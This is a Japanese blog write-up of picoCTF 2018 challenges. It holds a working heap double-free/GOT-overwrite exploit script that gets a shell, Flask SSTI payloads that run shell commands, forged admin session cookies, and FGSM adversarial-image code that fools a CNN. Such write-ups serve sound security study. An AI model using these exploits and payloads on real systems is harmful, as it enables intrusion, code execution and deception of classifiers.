[*] cake0 free ※この時 inspect(0) をすると、price = 0, name = そのまま になっています。fastbinの中で次のchunkへのリンク(*fw)が allocate 状態だと user 領域の price 部分になるため、price = 0(tail) が入ったと予想できます。 [fastbin] (head) -> cake0 -> (tail(0)) [*] cake1 free ※この時 inspect(1) をすると、 price = 8728592, name = そのまま、なので、上と同様に cake1 の price 部分には cake0 のchunkへのポインタが入ったと考えられます。 [fastbin] (head) -> cake1 -> cake0 -> (tail(0)) [*] cake0 free [fastbin] (head) -> cake0 -> cake1 -> (cake0) -> (cake1) -> ... ↑ double free 後の fastbin の状態
さて、戦略としては contacts と同じように libcのアドレスをリークさせて、なにかしら shell を起動する gadget を送り込む&起動させるのが良さそうです。libcのアドレスリークは contacts のように use after free を使いたいのですが、 make
機能では priceもname も初期化されるようです。なので、今回は double free の脆弱性を使う方法を考えます。
更に、今回使用したい fastbin のサイズは 0x20 決め打ちです。contactsのように、got関数をアドレスをずらして渡す(0x70のチャンクを使う)技は使えなさそうです。
ここで再度、今回扱う構造体たちを確認してみます。
struct cake { long price; char name[8]; } struct shop { long sales; long waiting; cake *cakes[16]; }
fastbin の free chunk の構造は下記。
0x08 | Size of previous chunk, if unallocated | 0x08 | Size of chunk, in bytes |A|0|P| 0x08 | Forward pointer to next chunk in list | 0x08 | Back pointer to previous chunk in list | | Unused space (may be 0 bytes long) |
allocate chunk の構造もついでに。
0x08 | Size of previous chunk, if unallocated | 0x08 | Size of chunk, in bytes |A|M|P| | User data |
ここで、shopはglobalとして定義されていることに注目です。ということは.bss領域にデータがあり、アドレスはASLRのランダマイズ対象外になります。さらに使い所のわからなかったwait
機能ですが、これを使ってやると待ち人数(waiting
)が増えていくようです。...ということは、この数値はある程度自由に操作できることになります。この領域が free chunk の size に当たるようにしてやると、shop領域が攻撃に利用できそうです!
fastbinのリンクリストにshopへのアドレスをつなげ、その領域をcake"2"として取得し、下記の構造になるように操作してやります。
| # free chunk | # shop as free ch | # cake"2" as allocate ch | 0x08 | size of prev ch | sales | --- | 0x08 | size of chunk | waiting | --- | 0x08 | *fw | cakes[0] | price | 0x08 | *bk | cakes[1] | name | | | ... | |
shop領域を取得する、すなわちcake"2"を作る前に、fastbin(0x20)のサイズチェックを通過させるために、shopのwaitingが0x20台の数値になるように調整します。
cake"2"を作る際は、got関数のアドレスをname
に入れてやります。すると cakes[1] の最初の領域price
に、入れたgot関数のアドレスが入るので、inspect機能で確認できそうです!
下記に、攻撃の流れとメモリ・fastbin の link list の様子を示します。
※ malloc対象の領域を A
, B
, S
(shop) と表記し、cakes[]のindex(0~15)と確保する領域をつなげた名前で管理しています。
例:0-A -> cake[0], 領域Aを使用
# double free fastbin 0x20 chunk [*] make "0-A" # index 0 の cake を作成、使用する領域は A [*] make "1-B" [*] serve "0" [*] serve "1" [*] serve "0" # [fastbin free link] は下記のようになっています # (head) -> A -> B -> A (-> B -> A ->...) [*] wait until waiting >= 0x20 [*] make "2-A" price = shop_addr | # free chunk | # cake"2" as allocate ch | 0x08 | size of prev ch | --- | 0x08 | size of chunk | --- | 0x08 | *fw | price = shop_addr | 0x08 | *bk | name | # [fastbin free link] # (head) -> B -> A -> shop [*] make "3-B" [*] make "4-A" # [fastbin free link] # (head) -> shop [*] make "5-S" name = got['puts'] entry | # free chunk | # shop as free ch | # cake"5" as allocate ch | 0x08 | size of prev ch | sales | --- | 0x08 | size of chunk | waiting | --- | 0x08 | *fw | cakes[0] | price | 0x08 | *bk | cakes[1] | name = got['puts'] entry | [*] inspect "1"
shopのアドレスについては、Hopperに突っ込んだりradare2で見ても良かったのですが、せっかくghidraを立ち上げていたのでghidraで確認してみました。
こんな感じで、ghidraの Symbol Tree メニューに出てくる global 変数にカーソルを当てるだけで、アドレス表示してくれちゃいます。んー便利!(2回目)
ここまでがlibc_baseのアドレス取得までの流れです。
次はshellを取ります!!!
と勇んだのはいいですが、全く見当がつきませぬ。この後は出題側の
Rintaroさんのブログ http://rintaro.hateblo.jp/entry/2018/10/14/155209 を全面的に参考にさせていただきました。最初読んだ時は「なるほどわからん」状態だったのですが、コードを見たり挙動を追ったりするうちに、徐々に見えてきました。
ちょっと前に書いたとおり
さて、戦略としては contacts と同じように libcのアドレスをリークさせて、なにかしら shell を起動する gadget を送り込む&起動させるのが良さそうです。
ということで、gadgetを送り込みたいのです。ghidraでdecompileした結果、毎回表示されるmenuや現在のshopの状況はprintf
で出力されていることがわかったので、printf関数を got overwrite してあげたい。使用するgadgetは今回もonge_gadget で 探します。
$ one_gadget libc.so.6 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
この4つのどれかを使うことにします。(1つめで刺さりました!ラッキー!)
どうやったら書き換えられるの?ですが、make時の挙動を確認すると、まず name
を聞いて格納、その次に price
を聞いて格納、とやっているのがわかります。ちょっと読みづらいですが、下記はghidraのdecompile結果(make関数)。name を格納してから price を格納しているのがわかります。
void make(long param_1) { undefined8 *puVar1; void *pvVar2; undefined8 uVar3; uint local_1c; local_1c = 0; do { if (0x10 < (int)local_1c) { return; } if (local_1c == 0x10) { puts("Ran out of counter space :("); } else { if (*(long *)(param_1 + ((long)(int)local_1c + 2) * 8) == 0) { printf("Making the cake"); spin(100,6); putchar(10); pvVar2 = malloc(0x10); *(void **)(param_1 + ((long)(int)local_1c + 2) * 8) = pvVar2; if (*(long *)(param_1 + ((long)(int)local_1c + 2) * 8) != 0) { printf("Made cake %d.\nName> ",(ulong)local_1c); fgets_eat((char *)(*(long *)(param_1 + ((long)(int)local_1c + 2) * 8) + 8),8); printf("Price> "); puVar1 = *(undefined8 **)(param_1 + ((long)(int)local_1c + 2) * 8); uVar3 = get(); *puVar1 = uVar3; return; } puts("malloc() returned NULL. Out of Memory\n"); /* WARNING: Subroutine does not return */ exit(1); } } local_1c = local_1c + 1; } while( true ); }
いま、私達は先程のlibcを取る工程で、shop の cakes[1] を任意に操れそうなことがわかりました。ここが先程の攻撃と同じく、新しく取得する cake
の name
, かつ cakes[1]
の price
を示すようにすれば、新しく取得する cake(cakes[1])
の name
と price
が同じところを指すので、name で入れたアドレスが price で入れたアドレスに 書き換わり、GOT Overwriteが成立しそうです。
先程のlibc_baseを取る流れの最後、5-S
の priceは特に何も指定していませんでしたが、ここが free chunk として扱われるときの *fw
になっているため、free link につなぎたいアドレスを指定しておくと link をつないでおくことができます。先程の 5-S
を make するところから流れを追っていきます。
・・・(略) [*] make "5-S" name = got['puts'] entry, price = B_addr | # free chunk | # shop as free ch | # cake"5" as allocate ch | 0x08 | size of prev ch | sales | --- | 0x08 | size of chunk | waiting | --- | 0x08 | *fw | cakes[0] | price = B_addr | 0x08 | *bk | cakes[1] | name = got['puts'] entry | # [fastbin free link] # (head) [*] inspect "1" # got['puts'] address is shown. --- # double free fastbin 0x20 chunk [*] serve "2" # 2-A [*] serve "3" # 3-B [*] serve "2" # 2-A # [fastbin free link] # (head) -> A -> B -> A (-> B -> A ->...) [*] make "6-A", price = shop_addr # [fastbin free link] # (head) -> B -> A -> shop -> B * 先程 "5-S" 取得時に、 shopのcakes[0], すなわち free chunk の *fw に当たる領域 に B_addr を入れておいたため、 shop が free chunk として扱われる時、 つぎへのリンクがB_addrになっている [*] make "7-B", price = shop_addr # [fastbin free link] # (head) -> A -> shop -> B -> shop [*] make "8-A" # [fastbin free link] # (head) -> shop -> B -> shop [*] wait until waiting >= 0x20 [*] make "9-S" price = NULL, name = NULL | # free chunk | # shop as free ch | # cake"9" as allocate ch | 0x08 | size of prev ch | sales | --- | 0x08 | size of chunk | waiting | --- | 0x08 | *fw | cakes[0] | price = NULL | 0x08 | *bk | cakes[1] | name = NULL | cake[0], および cake[1] を NULL にすると、ここが空いている事になり、 次に make したときに 再び cakes[0], cakes[1] に ケーキが入る。 # [fastbin free link] # (head) -> B -> shop [*] make "0'-B" # [fastbin free link] # (head) -> shop [*] make "1'-S" price = gadget_addr, name = got['printf'] | # free chunk | # shop as free ch | # cake"1'" as allocate ch| 0x08 | size of prev ch | sales | --- | 0x08 | size of chunk | waiting | --- | 0x08 | *fw | cakes[0] | price = gadget_addr | 0x08 | *bk | cakes[1] | name = got['printf'] | ここで、cake"1'"->name は 上図のとおりcakes[1]の先頭アドレスに書かれるが、 cake"1'"->price の書かれるアドレスも cakes[1]の先頭になります。 先程確認したとおり name -> price の順に書き込むことで printf 関数を gadget で overwrite している。 次に printf が呼ばれるときに、gadgetが呼ばれ、RCE(Remote Code Execution) が発動するはず。
上記の解説がほぼコードの流れになっていますが、一応 exploit が成功したコードを載せておきます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * host = '2018shell.picoctf.com' port = 36903 """ Just for information from ctypes import * class s_cake(Structure): _fields_ = [('price', c_long), ('name', c_char * 8)] class s_shop(Structure): _fields_ = [('sales', c_long), ('waiting', c_long), ('cakes', s_cake * 16)] """ def pad(size, buff, pad_data): while len(buff) < size: buff += pad_data return buff def recv_menu(): r.recvuntil(b'* [C]lose the shop.\n> ') def make(name, price, response = True): recv_menu() log.info(b'make: ' + name + b', price: ' + price) r.sendline('M') r.recvuntil(b'Name> ') r.sendline(name) r.recvuntil(b'Price> ') r.sendline(price) if response: res = r.recvuntil(b'customers waiting.') return res else: return def wait(): recv_menu() r.sendline('W') res = r.recvuntil(b'customers waiting.') waitings = int(res.split()[-3]) return waitings def serve(idx): recv_menu() log.info(b'serve: ' + idx) r.sendline('S') r.recvuntil(b'> ') r.sendline(idx) res = r.recv() return res def inspect(idx): recv_menu() log.info(b'inspect: ' + idx) r.sendline('I') r.recvuntil(b'> ') r.sendline(idx) res = r.recvuntil(b'customers waiting.') name = res.split()[0] price = res.split(b'$')[1].split(b'\n')[0] return name, price def wait_for_customers0x20(): log.info(b'wait for waiting costomers to 0x20') waitings = 0 while(waitings < 0x20): waitings = wait() print(str(waitings) + ', ', end="") print('') return ############### ### prepare ### ############### target = ELF('./cake') libc = ELF('./libc.so.6') shop_addr = 0x6030e0 gadget_addr = 0x45216 r = remote(host, port) ##################### ### get libc_base ### ##################### # double free challenge make(b'0-A', b'0') make(b'1-B', b'0') serve(b'0') # 0-A serve(b'1') # 1-B serve(b'0') # 0-A log.info(b'+++ double free done. +++') B_addr = int(inspect(b'0')[1]) print('B_addr: ' + hex(B_addr)) make(b'2-A', str(shop_addr).encode()) make(b'3-B', b'0') make(b'4-A', b'0') wait_for_customers0x20() make(p64(target.got[b'puts']), \ str(B_addr).encode()) # 5-shop name, price = inspect(b'1') libc_puts = int(price) print('+++ libc puts addr: ' + hex(libc_puts)) libc_base = libc_puts - libc.symbols[b'puts'] print('+++ libc base addr: ' + hex(libc_base)) ################# ### get shell ### ################# gadget_payload = libc_base + gadget_addr serve(b'2') # 2-A serve(b'3') # 3-B serve(b'2') # 2-A log.info(b'+++ double free done. +++') make(b'6-A', str(shop_addr).encode()) make(b'7-B', str(shop_addr).encode()) make(b'8-A', b'0') wait_for_customers0x20() make(p64(0), p64(0)) # 9-S make(b'10-B', b'0') # 0'-B make(p64(target.got[b'printf']), \ (str(gadget_payload)).encode(), \ response = False) # 1'-S r.interactive()
実行結果
$ python solve.py [*] '/picoCTF_2018/Binary/cake/cake' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE RPATH: b'./' [*] '/picoCTF_2018/Binary/cake/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 2018shell.picoctf.com on port 36903: Done [*] b'make: 0-A, price: 0' [*] b'make: 1-B, price: 0' [*] b'serve: 0' [*] b'serve: 1' [*] b'serve: 0' [*] b'+++ double free done. +++' [*] b'inspect: 0' B_addr: 0x132d030 [*] b'make: 2-A, price: 6303968' [*] b'make: 3-B, price: 0' [*] b'make: 4-A, price: 0' [*] b'wait for waiting costomers to 0x20' 3, 3, 3, 3, 3, 4, 4, 5, 5, 5, 5, 5, 5, 6, 6, 7, 7, 8, 8, 9, 10, 10, 10, 10, 10, 11, 11, 11, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 15, 16, 16, 16, 16, 16, 17, 17, 17, 18, 18, 19, 20, 20, 20, 21, 21, 21, 21, 21, 21, 21, 21, 22, 22, 22, 23, 23, 24, 24, 24, 25, 26, 26, 26, 26, 26, 27, 27, 27, 27, 28, 28, 28, 28, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, 30, 30, 30, 30, 30, 31, 31, 31, 32, [*] b'make: (0`\x00\x00\x00\x00\x00, price: 20107312' [*] b'inspect: 1' +++ libc puts addr: 0x7ff7a4802690 +++ libc base addr: 0x7ff7a4793000 [*] b'serve: 2' [*] b'serve: 3' [*] b'serve: 2' [*] b'+++ double free done. +++' [*] b'make: 6-A, price: 6303968' [*] b'make: 7-B, price: 6303968' [*] b'make: 8-A, price: 0' [*] b'wait for waiting costomers to 0x20' 31, 32, [*] b'make: \x00\x00\x00\x00\x00\x00\x00\x00, price: \x00\x00\x00\x00\x00\x00\x00\x00' [*] b'make: 10-B, price: 0' [*] b'make: H0`\x00\x00\x00\x00\x00, price: 140701593338390' [*] Switching to interactive mode $ ls cake flag.txt libc.so.6 xinet_startup.sh $ cat flag.txt picoCTF{h4v3_y0ur_c4k3_4nd_s311_1t_t00_rteopxlx}
\(T▽T)/ こんなの思いつく人おらんじゃろ…!と改めてまとめてみて見返しても思いましたが、解ける人はいるんですね〜…。凄い。
Pwn問素人が手を出すと、理解するのにwriteupを読んでも3日かかりました…。
今回は waitings の値を 0x20 にし、shop の先頭アドレスを指定して騙して使いましたが、salesのほうが簡単に 0x20 にできるので、指定するアドレスを shop - 0x8 して sales がサイズ部分に来るようにして攻撃する方法もできるようです。この場合は、cakes[1]ではなくてcakes[0]領域をGOT overwrite攻撃に使います。
[General] Dog or Frog (900pt)
Dressing up dogs are kinda the new thing, see if you can get this lovely girl ready for her costume party. Dog Or Frog
Hints
This really is a ML problem, read the hints in the problem for more details..
問題文の末尾がリンクになっているので飛んでみると、こんなページが。
I'm going to a Halloween Party soon, and need a costume. Could you use one of those fancy new (clouds blockchains quantum computers) Convolutional Neural Networks and help me out? I'd like a photo of me as a tree frog, and have the CNN recognize me as such, but still have the photo look like me.
どうやらハロウィンの衣装のために何故かCNNを使って手伝えと。CNNはアマガエルと認識するけど、私だってわかるような写真を用意してね。とのこと。tree frogって機械学習と思って読んだから木構造のカエルとか考えちゃったけど、アマガエルのことなのね。かわいい。
General Skillの問題だから、サイトの脆弱性を生んたらという問題ではないみたい。hintにもある通り、ML(Machine Learning)の問題として解くみたい。画像をuploadするフォームが用意されているので、画像が出来たらここからuploadすれば良いかな。
画面左手に機械学習っぽい用語の入ったmenuが。
- Model
- Solution Template
- Breaking the Fourth Wall
- Source
- Google's Challenge
それぞれリンクになっており、Modelからはmodel.h5
というファイルが。
$ file model.h5 model.h5: Hierarchical Data Format (version 5) data
Solution Templateからは下記のソース(solution_template.py
)が。
from keras.applications.mobilenet import preprocess_input from keras.models import load_model from keras.preprocessing.image import img_to_array, array_to_img from PIL import Image from imagehash import phash IMAGE_DIMS = (224, 224) TREE_FROG_IDX = 31 TREE_FROG_STR = "tree_frog" # I'm pretty sure I borrowed this function from somewhere, but cannot remember # the source to cite them properly. def hash_hamming_distance(h1, h2): s1 = str(h1) s2 = str(h2) return sum(map(lambda x: 0 if x[0] == x[1] else 1, zip(s1, s2))) def is_similar_img(path1, path2): image1 = Image.open(path1) image2 = Image.open(path2) dist = hash_hamming_distance(phash(image1), phash(image2)) return dist <= 1 def prepare_image(image, target=IMAGE_DIMS): # if the image mode is not RGB, convert it if image.mode != "RGB": image = image.convert("RGB") # resize the input image and preprocess it image = image.resize(target) image = img_to_array(image) image = np.expand_dims(image, axis=0) image = preprocess_input(image) # return the processed image return image def create_img(img_path, img_res_path, model_path, target_str, target_idx, des_conf=0.95): test = Image.open(img_path).resize(IMAGE_DIMS) test = prepare_image(test) model = load_model(model_path) # TODO: YOUR SOLUTION HERE test = test.reshape((224,224,3)) img = array_to_img(test) img.save(img_res_path) if __name__ == "__main__": create_img("./trixi.png", "./trixi_frog.png", "./model.h5", TREE_FROG_STR, TREE_FROG_IDX) assert is_similar_img("./trixi.png", "./trixi_frog.png")
Breaking the Fourth Wallからは下記のテキスト(notes.txt
)が。
Since this is a new type of problem, here are a bunch of notes, as there are probably ways this can go wrong that are frustrating, yet not productive for learning. The goal here is to make an adversarial examples, using the photo of Trixi (the lovely dog in the photo) as a starting point. The website will classify it using the Keras pre-trained MobileNet network, for which you can download a copy. The image needs to do the following: - Classify as a Tree Frog, at 95% confidence - Be similar to the original image (max 2 bit difference using p hash) This vulnerability is not specifically for MobileNet, and works against others as well. MobileNet was chosen as it uses less memory. Adversarial examples are not limited to being close to a base image, but this made the most sense for a CTF problem, as a proxy for true classification of the image. I want to make it clear that this isn't a stego, web, or "find a photo of the author's dog wearing a frog hat" problem. The intended solution is a photo that is clearly Trixi, but trick MobileNet into thinking there's a tree frog in it, rather than a dog. A sample attack image is provided in the source code, that's recognized as a sealion. It looks squished due to the preprocessing of the network. It looks nearly identical to the preprocessed image without any attack present. The linked Google article is about their challenge on trying to build defenses against this class of attack, and shows where academia is at in terms of both attacks and defenses. The solution runs in < 10s on my CPU. I can get 99+% confidence, and 0 bit difference. Good luck! -bp
sourceにはこんな構成のサーバー用っぽいファイルたちが。
$ ls requirements.txt static test_img server.py templates
なんだか随分大掛かりな問題になってる気がする…。材料が多い。
さて、notes.txtでは、この問題が何を意図してるかちゃんと伝えてくれてます。画像が絡むとどうしても方針がわからないというか、見当違いのことをしがちなのでありがたい。ステガノグラフィやWeb問、もしくは出題者のワンちゃんがカエルの帽子をかぶってる写真を探す(ソーシャルハック?)とかじゃないよと。
明らかにこのワンちゃんに見える写真をCNNに食わせて、アマガエルと認識させるのがゴール。MLの脆弱性を付くという点でCTF的な問題になっているよ、とのこと。
提供された攻撃サンプルの写真は、MLに食わせる前処理でひしゃげているため、アシカと認識されています。
試しにこの画像をuploadした所、こんな結果が表示されました。
Photo category sea_lion Photo is of a frog False Photo confidence 0.99979633 P hash distance from original dog photo 0 Top Preds [('n02077923', 'sea_lion', 0.99979633), ('n02113978', 'Mexican_hairless', 7.411073e-05), ('n02444819', 'otter', 5.847877e-05), ('n01695060', 'Komodo_dragon', 1.4224592e-05), ('n02137549', 'mongoose', 8.456897e-06)]
notes.txt
を読んだところで、この問題の意図するところが見えてきました。このまま何も考えずに力技で行くなら、ワンちゃんの画像を様々に変形させたりしてサーバーに投げまくり、アマガエル判定が出るまで繰り返すのもありっぽい。が、sample攻撃コードや記事が紹介されているので、ちゃんと読んでやったほうが良さそう。...でもアマガエルっぽいってどんなだ?
※実際10個くらい適当に画像を作って投げましたが、犬種が変わるだけでアマガエルは上位5位にすら入ってきませんでした。
Google Challengeの画報も読んでみましたが、特に具体的な攻撃手法が載っているわけではなかったです。今回の誤認識させる攻撃に関するサマリとそれに関するGoogle Challengeの紹介でした。
ちなみに、こちらのサイトで日本語でより詳しく紹介してくれています。とてもわかり易い。はじめてのAdversarial Example
この記事によると、元画像にノイズ(摂動)を与えて違うクラスに分類してしまう画像を作る場合、この摂動を計算する手法があるとのこと。ふむ、ということは狙ったクラスに分類させる摂動画像を作る手段があるということか。
次にsolution_template.py
を眺めてみます。L48に # TODO: YOUR SOLUTION HERE
とコメントが。ここになにがしか処理を入れて、CNNがアマガエル判定しちゃう画像を作るっぽい。notes.txtに書いてあったとおり、条件は下記。
- 95%(以上?)の信頼度でアマガエル判定させる
- 元画像とp-hashを使用して2bit以内の差に収める
- これに関しては、
is_similar_img
関数で判定してくれています
- これに関しては、
数式やサンプルコードが載っている記事はいくつか見つけましたが、まずは adversarial example attack tool
と言ったワードで検索してヒットした下記の記事で紹介されている CleverHans
を使ってみることにしました。
Pythonライブラリ「cleverhans」でAdversarial Examplesの対策をしてみた | MISO
こちらの記事もとてもわかりやすかったです。CleverHansはtensolflowを使用して計算を高速化しているそうで、tensolflowのinstallも必要になります。GPU使ったほうが良いとGithubのREADMEにありましたが、そんな環境はうちにはないのでおとなしくMacBookAirのホストに直に入れました。
今回の攻撃の概要やツールのinstall方法・使用方法が日本語でわかりやすく書かれています。こちらの記事ではサンプルを動かすところまで。
tensorflowのinstallガイド(本家)も間違えにく簡潔な書き方でした。是非見習いたい。
さて、今回やりたいことはちゃんと公式ドキュメントを読みながら進める必要がありそう。
こちらがCleverHansのリポジトリ。READMEにはそこまで情報がないので、ドキュメントサイトを参照します。
自動生成されたドキュメントだし、決して読みやすいとは言えない…。
menuから、attack module と model module があることがわかります。今回は、騙すための画像を作成したいので、おそらくattackの方にヒントがありそう。
...と、CleverHansでやろうと色々いじってみたのですが、CleverHans、およびTensorFlow, Kerasはすごく開発が盛んな時期なこともあり、ライブラリのバージョンの組み合わせで動いたり動かなかったり、書き方が変わってたりdeprecatedのwarningが大量に出たり。2018年10月当時のCleverHansリポジトリのCommitを引っ張ってくるといい感じに動いたのですが、最新のではちょっと使いこなせませんでした(;▽;)
配布されたソースの中にあったrequirements.txtを使ってライブラリをinstallしてればバージョン固定してあったのでもっとスムーズだったかもしれない...と思ったらtensorflowの指定バージョン(1.10.1)はもう無くなってるっぽい。残念。
ということでCleverHansは使わず、Kerasのみで騙し画像を作ってみます。 他の方のwrite-upを眺めていると、下記の記事からコードを起こすのが良さそうなことが判明。私が検索しても全然ここにたどり着かなかった。どうやって見つけたんだろう。。。
目当てのパラメータに徐々に近づけていく手法のようです。プログラムが見やすくて何がしたいかわかりやすい。助かる!この手法は"Fast Gradient Sign Method (FGSM)" というらしい。
上記記事のソースほぼそのまま移植し、パラメータだけちょっと調節してやったのがこちらです。元のsolution_template.py
からは# TODO: YOUR SOLUTION HERE
〜# END
までしか変更していません(import除く)。
from keras.applications.mobilenet import preprocess_input from keras.models import load_model from keras.preprocessing.image import img_to_array, array_to_img from PIL import Image from imagehash import phash # added imports import numpy as np from keras import backend as K ~(中略)~ def create_img(img_path, img_res_path, model_path, target_str, target_idx, des_conf=0.95): test = Image.open(img_path).resize(IMAGE_DIMS) test = prepare_image(test) model = load_model(model_path) # TODO: YOUR SOLUTION HERE model.summary() # Bellow codes are almost copied from # https://medium.com/@ageitgey/machine-learning-is-fun-part-8-how-to-intentionally-trick-neural-networks-b55da32b7196 model_input_layer = model.layers[0].input model_output_layer = model.layers[-1].output max_change_above = test + 0.01 max_change_below = test - 0.01 learning_rate = 0.01 cost_function = model_output_layer[0, TREE_FROG_IDX] gradient_function = K.gradients(cost_function, model_input_layer)[0] grab_cost_and_gradients_from_model = K.function([model_input_layer, K.learning_phase()], [cost_function, gradient_function]) cost = 0.0 while cost < 0.95: cost, gradients = grab_cost_and_gradients_from_model([test, 0]) test += np.sign(gradients) * learning_rate test = np.clip(test, max_change_below, max_change_above) test = np.clip(test, -1.0, 1.0) print("tree frog confidence: " + str(cost * 100)) # END test = test.reshape((224,224,3)) img = array_to_img(test) img.save(img_res_path) if __name__ == "__main__": create_img("./trixi.png", "./trixi_frog.png", "./model.h5", TREE_FROG_STR, TREE_FROG_IDX) assert is_similar_img("./trixi.png", "./trixi_frog.png")
実行結果
※tensorflow環境下で実行
(venv)$ python solve.py Using TensorFlow backend. ~(中略)~ _________________________________________________________________ Layer (type) Output Shape Param # ================================================================= input_1 (InputLayer) (None, 224, 224, 3) 0 _________________________________________________________________ conv1_pad (ZeroPadding2D) (None, 225, 225, 3) 0 _________________________________________________________________ conv1 (Conv2D) (None, 112, 112, 32) 864 ... ~(中略)~ act_softmax (Activation) (None, 1, 1, 1000) 0 _________________________________________________________________ reshape_2 (Reshape) (None, 1000) 0 ================================================================= Total params: 4,253,864 Trainable params: 4,231,976 Non-trainable params: 21,888 _________________________________________________________________ tree frog confidence: 1.0298706332179108e-09 tree frog confidence: 1.784224808216095 tree frog confidence: 87.81787157058716 tree frog confidence: 98.97469282150269
なんと4回の試行で目当ての数値まで近づけたようです。凄い!trixi_frog.png
が出来ているのでWebのフォームから投げてみます。
(๑•̀ㅂ•́)و✧
何度も"new type of problem"と出てきましたが、確かに新しい問題だった。MLかじったことはあったけど、CTFに絡めてくるとは。他のCTFでも出題されているみたい。(参考:picoCTF 2018 Dog or Frog Write-up | 一生あとで読んでろ)
今回は結局このwrite-upそのままの勢いで参考にさせてもらったので、類似問題を解いてみたいな。今回のは"hello world!" レベルらしいのでここで紹介されている他の問題はもっと難易度高いのかしら。
今回お世話になった日本語サイト
Adversarial Learning Competitionなるものが開催されていたりして、ML界隈ではかなりHotな話なんですかね。今回こんな面白いTopic、今回出会えてよかったです٩(๑❛ᴗ❛๑)۶
[Web] Flaskcards and Freedom (900pt)
There seem to be a few more files stored on the flash card server but we can't login. Can you? http://2018shell.picoctf.com:5010 (link)
Hints
- There's more to the original vulnerability than meets the eye.
- Can you leverage the injection technique to get remote code execution?
- Sorry, but the database still reverts every 2 hours.
Link先に飛んでみるとこんなページ。
Register -> Login してみます。
ログインすると、cookieには remember_token
と session
が記憶されています。
機能は今までのFlaskCardsと同じようです。
試しにCreate Card
で QとAの両方に{{config}}
を入れてみます。通りました。List Cardsで確認してみます。
わお。出てきちゃった。デジャヴ。350pt問題のFlaskcardsと同じ状況のようです。
'SECRET_KEY': 'ca10fa68c590b01ad75acac0c3990ed8'
ありました、SecretKey。
このSecretKeyを利用して、一般ユーザーのsession cookieをadmin用のcookieに書き換えてやります。今度は 600pt問題のFlaskcards Skeletonで使ったコードが利用でadminn用session cookieを生成してみます。
(略) .eJwlj8FqAzEMBf_F5xwsa2VL-ZnFlvRoCLSwm5xK_z0Lvc_AzG_ZceT5Ve6v4523sj-i3Etb0mMlNyGLpZqrVQGYoFNjWrqMAYeFVuXoMqNJrYyGqOGz0aZMJCCbJgPd6moDy7DahW9g8KyzC2OjDNGU1VKgLJ1FtNyKnwf2188zv68en05bN_ZhMCEZwrG5d7VMhFHvaU6ol_c-8_ifoPL3AfD_P08.XWaYqA.PVaA0TEbb5Zhv6m2OYCEOUAdQ90
このsession cookieにchromeの開発者ツールかなんかで書き換えて、http://2018shell.picoctf.com:5010/admin
(Adminのページ) に飛ぶと、無事入れました!!
htmlソースを確認しましたが、ここにflagはなさそうです。ここでflag出てきたら600点問題と同じだし、最初のヒントからももう1段階ありそうですね。"Nothing to see her anymore" ということで、ここの "View/Update Comments" をクリックして確認してみます。
私以外に二人いるみたいです。Lindaさんのcommentが意味深。この "Change Comment" 機能が怪しい。
XSSがないかチェック。エスケープされてました。(<s>test</s>
を入力)
ここでヒントを再確認してみます。"remote code execution" ということで、今回はこれがお題のようです。
remote code execution flask
でぐぐってみると、色んなサイトが見つかりましたが、だいたいSSTI(Server-Side Template Injection)が使われています。今回admin用ページの新しい機能が怪しいと思ったのですが、このフォーム、なんとSSTI対策がされていてこんな感じで攻撃になっていません。
SSTIが効いているのが確認できたCreateCard機能でSSTIを試してみます。SSTIについては encryptCTF 2019 でやったことがありました。このときの攻撃を参考に入れてみます。
# カレントディレクトリのファイルをリストアップ {{url_for.__globals__.os.popen('ls').read()}}
結果
お、flag
ちゃんがいますね。
# flag を読んで表示 {{url_for.__globals__.os.popen('cat flag').read()}}
イエーイ!(๑˃ᴗ˂๑)
解けたチームが多かったけど、900点問題解けた嬉しい!
そして、最初に目星をつけた解き方じゃなかったのでまわりくどくなってしまったけど、シンプルなSSTIの問題でした。タイトルのFreedomは今までのFlaskcardsの脆弱性全部使えたからそういうタイトルだったのかな。
[Binary] no args (1000pt) ※サイトダウンで解けず
Final pwn. Connect with nc 2018shell.picoctf.com 25422. Source. libc.so.6
Hints
You should know by now.. but make sure you are run/debug with the provided libc on the shell server!
まずは動作を確認しようと接続してみました。
$ nc 2018shell.picoctf.com 25422 timeout: the monitored command dumped core
うむー!どうやら落ちている様子。またPiazzaで確認してみます。
2ヶ月ほど前からダウンしていてUnresolvedでした。もう一年経つからなぁ…。
本物のflagは取れなくてもローカルで解析・攻撃シミュレーションまではできそうですが、諦め。時間があればやるかも。
感想
今回はなんといっても機械学習系の話に触れられたのが良かった。チュートリアル触ってみた程度ではあるけどTensorflow環境も入れられたし。そして機械学習にも脆弱性&それに対する攻撃手法みたいな話が出てきてるのは全く知らなかったので、かじれただけでも面白かった。
また、SAT/SMT (Satisfiability problem(充足可能性問題), Satisfiable Modulo Theories)といったキーワードに初めて触れられたのも良かった。競技プログラミング界隈ではかなり有名なのかな?
ひたすら Binary(Pwn) 問題と向き合う月間が出来たのも良かった。と言っても割いた時間にしたらそんなに無いし、基礎からの理解には到底なっていないんだろうけども。今回解いた8問中3問が heap 周りのPwn問題だったので、集中して学習できました。
感慨深かったのが、Z3py
をpython2.7環境に install しようとしたら2020年1月1日からメンテ対象外だからやめとけ、と言われてinstall出来なかったこと。いうて現場でもまだまだpython2系が現役なところも多そうだし、picoCTF2018の問題も2系は多かった。潔く「2系のライブラリは提供しない」という選択をしているのは初めて見たな。
最終的に私は3問、サーバー接続できないっぽくて解けませんでしたが、もしかしたら生きてるportもあるかもしれないので、port割りが当たりだったら今からでもチャレンジできるかも。(ユーザーによって、同じ問題でもportの割当がランダムなため) 明日?今日?からもうpicoCTF2019が始まってしまうわけですが、picoCTF2018も勉強になる問題が多かったので、良かったらチャレンジしてみてください(◍•ᴗ•◍)